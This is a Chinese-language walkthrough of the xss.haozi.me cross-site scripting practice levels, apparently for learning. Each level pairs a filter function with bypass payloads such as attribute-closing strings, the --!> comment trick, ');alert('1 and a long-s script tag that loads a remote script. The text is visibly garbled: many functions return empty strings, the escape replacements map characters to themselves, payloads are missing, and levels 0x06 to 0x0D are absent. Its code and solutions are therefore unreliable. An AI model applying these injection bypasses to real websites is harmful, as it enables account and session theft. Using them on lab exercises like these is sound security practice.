https://xss.haozi.me
找到输入内容的输出点,确定是在html中还是js中。
0x00
function render (input) {
return '' + input + ''
}
在标签内且无过滤。
0x01
function render (input) {
return ''
}
文本框标签中无法弹窗,所以闭合
0x02
function render (input) {
return ''
}
插入的代码在input标签的value属性中,可以直接闭合input标签。
">
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号。
模板字符串紧跟在函数名后面,该函数将被调用来处理这个模板字符串。
模板字符串使用反引号来代替普通字符串中的双引号和单引号。
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号和反引号。
0x05
function render (input) {
input = input.replace(/-->/g, '')
return ''
}
将-->替换成表情,并且输入的内容在注释中输出。
HTML两种注释方法: 这里我们可以用对称感叹号的方法注释。
--!> 注释掉后面的单引号和圆括号。
alert(1)
-->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '' + input + '
'
}
将 < 开头的不管后面是什么字母都通通加上一个_ ,所以所有的标签都不能用。
字符ſ大写后为S。
<ſcript src="https://xss.haozi.me/j.js">
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(//g, '>')
.replace(/\//g, '/')
}
return ``
}
对字符 & ' " < > / 进行html编码,输入的内容在img标签中,所以编码没有影响。内容在console.error中,我们可以闭合console.error,并且在onerror属性中添加一个alert。
');alert('1
0x10
function render (input) {
return `
`
}
没有过滤,在script标签中直接执行。
alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(//g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
`
}
过滤了很多的字符。并且将" 替换成 \" ,但是并没有什么卵用,\正好可以当做是双引号里面的内容。输入的内容在javascript:console.log里面,我们将这个闭合以后添加一个alert然后把后面的注释掉。
");alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return ''
}
将 " 替换成 \" ,输入的内容在console.log里面,在html标签外面,所以不能进行html编码。
这里可以直接闭合掉script标签,重新添加一个
也可以将替换的 \" 的 \在前面再添加一个\转义掉。
\");alert(1);//